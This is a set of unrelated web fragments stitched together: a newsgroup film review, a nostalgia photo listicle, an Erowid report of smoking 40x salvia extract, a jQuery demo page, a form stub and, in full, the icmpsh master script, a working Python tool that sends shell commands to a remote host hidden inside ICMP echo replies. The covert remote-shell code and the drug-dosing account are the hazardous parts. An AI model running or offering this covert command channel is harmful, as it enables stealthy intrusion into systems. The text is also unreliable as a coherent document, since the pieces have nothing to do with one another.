The film basically follows one doctor, Don Francis (played by Matthew Modine) from the very puzzling outbreak--people dying from diseases that usually strike only cats or sheep. Francis as part of the Centers for Disease Control (CDC), joins a small team with incredibly insufficient funding slowly assembling the facts about this new disease. And facts they get, but they are facts that a lot of people do not want to hear. And in some cases facts are not available and suppositions must do. So a political element is added. And this is a hard-hitting film that uses the names of famous people, often not in a very positive light.
Of bad touches, there are very few. Glenne Headly does a reasonable job as Dr. Mary Guinan on the CDC team. She is a talented actress but I strongly suspect the real Mary Guinan would not have her Hollywood beauty. They did not feel the need to put in stunningly handsome men in major roles- --unless it is Alan Alda as the self-aggrandizing Dr. Robert Gallo--but there is still the perception here that the audience needs to have a pretty face. That is the only serious aspect in which the filmmakers have underrated the audience. With that exception I commend Roger Spottiswoode for the direction and Arnold Schulman for an intelligent screenplay based on the book by Randy Shilts.
A reviewer always has a dilemma when a bad film is made in a good cause. Do you rate the film or the cause? Thank goodness HBO has made such a good film in this particular cause. I give it a +3 on the -4 to +4 scale.
Mark R. Leeper att!mtgzfs3!leeper<EMAIL_ADDRESS>.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


--- layout: page title: About header-img: "img/about-bg.png" ---
Hello my name is Cody. I am a Flatiron Grad who is obsessed with problem solving and programing. This is my story.


18 Pictures That Prove Time Goes by Too Quickly
The world population has grown by 1.5 billion people within the last 20 years according to statistics. While it sometimes takes things or people a couple of years to see the difference time brings, others need longer. And time doesn’t stand still — it keeps moving — changing everything in its path.
We at Bright Side got pretty nostalgic while looking at the photos from this compilation and would like to remind you to use your time wisely. Our bonus at the end of the article will prove once again that there is nothing more powerful than time.
1. Friends — 25 years ago and now
2. Barack Obama’s family in 2005 and in 2015
3. “15 years later, still best friends.”
4. “I have grown up, but my mom is still the same young lady.”
5. The gang grows up...
6. “My mom holding me 1979, my mom holding my daughter in the same dress in 2019.”
7. “When I get bigger, I am going to be my dad’s partner and catch bad guys and burglars.”
8. “Off to Pre-K with my grandmother. 19 years later, off to graduate school.”
9. “Bride and Maid of Honor, then and now”
10. “My best friend and I, 16 years ago and today. She just graduated with her Master’s, and I’m happily married with one on the way.”
11. “On the left is my first stuffed animal I received for Christmas 29 years ago. On the right, the new toy my mom gave to my son for his first Christmas.”
12. “My uncle and I (with my dad in the background) 20 years apart”
13. 35 years later...
14. “My great-uncle and I, 24 years apart”
15. “My dad and I, 13 years apart”
16. “For my mom’s 60th birthday, my brothers, my cousin, and I recreated a photo from my first day of kindergarten.”
17. “I found an old pic of me playing computer games. As it turns out, I haven’t changed very much.”
18. Life goal achieved!
Bonus: This key I’ve worn as a necklace almost every day over the past 7 years finally wore through today.
Do you have any photos of yourself with a 20-year-difference? We would be glad to see them in the comments!
Preview photo credit Jennifer Aniston / Instagram, FRIENDS / Netflix


I had recently purchased a kg of leaves, and made extract with it (10x, 20x, and 40x). Before this experience, I had used 10x and 20x about 4 times each, and was aware and prepared for what salvia can do to oneself. I *INSIST* that before trying 40x, to try some 10 and/or 20x first, to get an idea of what can be expected.
I sat on the bed, with my sitter (another essential aspect to salvia) sitting on a chair to observe me. I smoked a full bowl of 40x in my waterbong (with a butane torch lighter), and held the smoke. After approximately 30 seconds, I exhaled.
I will now detail what my sitter witnessed, since I did not see anything in the room for the next 8 minutes.
After I exhaled, I looked around, touched myself a few times, then touched the bedside table. My sitter asked how I was doing, at which point I sat straight up and said 'Unemployment strategy'. (I do not recall looking around, touching, or saying that). Then sat still, and after a few minutes, a long line of drool started to slowly ooze out of my mouth, a strand extending to just above my bellybutton, where it hit my shirt. Shortly after, I lied down on my back. About 30 seconds later, I said 'wow, oh my god, amazing', and was back to reality. My eyes had been open the entire time. 8 minutes had passed since exhaled and started talking again.
Myself, I remember exhaling, but do not remember getting to the place where my trip occured. I was in a place, with a wall of moving colours in front of me. They were moving in strange patterns, and I knew they were alive. I was also not in my body, I was just *there*, just beyond them. At one point (likely when drool hit my shirt), i got a sudden rush/tingle/cool feeling, and a green box fell directly in front of me, taking up about 1/3 of my field of view. Its edges weren't crisp, and it shook and morphed then dissappeared. Shortly after (I should note that my sense of time was not at all normal, neither faster nor slower, but still not normal), the colours began moving in an organized manner, as I knew there was now a competetion starting, somewhat like a race. The whole time it was not just like watching something happen, I was part of it, it affected every sense, and a few more, totally and completely. I was in a different world/dimension/universe/conscienceness.
Immediately after this competetion began, the space where I was began to pull down and back from me. As it receded behind me, I saw that it was a short, small tube, and it was covered in what can best be described as greyish saran wrap. I could still make out the moving colours through it, however. As I 'looked' forward again, I was in total blackness, with 2 sources of light just off in the distance. I immediately began rushing towards them. I then realized they were my eyes, and as I got closer, I could see more through the holes in the blackness. I liken it to looking through an open door, then walking towards it. As you get closer, you can see more of whats on the other side of the door. Same idea, only it was the field of view from my eyes that was growing as I rushed back into my body. It was as though I was behind my body, in some deep recess of my mind, or in another dimension returning to mine.

At this point my sitter asked increduously how it was, telling me I had been out for 8 minutes, that my eyes were open, and what I had done (along with that I was generally unresponsive). I couldnt believe I had touched things, spoken, that my eyes were open, or that it had really been 8 minutes (Im used to trips lasting under 5 minutes). I can confidently say that this was the *MOST* powerful experience I have ever had, and I am very glad I did it. I have never had an out of body experience before, and am extremely glad I've had one. That said, it is not a to be taken lightly, and I wont be using 40x very often.
This drug demands respect, and before doing it, ensure you have the proper tools, setting, and reliable sitter. If one is responsible, it can be a very fullfilling experience.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


This is the demo page for the nestedSortable jQuery plugin.
Follow the development, read the docs and download the latest version directly from the GitHub page.
Note: This demo has the maxLevels
option set to '4'.
This work is licensed under the MIT License.
Which means you can do pretty much whatever you want with it.
© 2010‐2014 Manuele J Sarfatti


#!/usr/bin/env python
#
# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
# Perl by Nico Leidecker<EMAIL_ADDRESS>#
# Copyright (c) 2010, Bernardo Damele A. G<EMAIL_ADDRESS>#
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import select
import socket
import subprocess
import sys
def setNonBlocking(fd):
"""
Make a file descriptor non-blocking
"""
import fcntl
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
def main(src, dst):
if subprocess.mswindows:
sys.stderr.write('icmpsh master can only run on Posix systems\n')
sys.exit(255)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
sys.stderr.write('You need to install Python Impacket library first\n')
sys.exit(255)
# Make standard input a non-blocking file
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
# Open one socket for ICMP protocol
# A special option is set on the socket so that IP headers are included
# with the returned data
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error, e:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.exit(1)
sock.setblocking(0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# Create a new IP packet and set its source and destination addresses
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO REPLY
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
# Instantiate an IP packets decoder
decoder = ImpactDecoder.IPDecoder()
while 1:
cmd = ''
# Wait for incoming replies
if sock in select.select([ sock ], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
if len(data) > 0:
sys.stdout.write(data)
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
if cmd == 'exit\n':
return
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
if __name__ == '__main__':
if len(sys.argv) < 3:
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
sys.stderr.write(msg)
sys.exit(1)
main(sys.argv[1], sys.argv[2])


You will have 60 minutes to complete 120 questions. You will need a minimum score of 80 to pass the exam.


Aqua Water Solution
Contact
About
Customer Name:
Mobile Number:
Select Product:
Choose a Product
Saab
Mercedes
Audi
Price:
First Installment:
Second Installment:
Khatabook
Save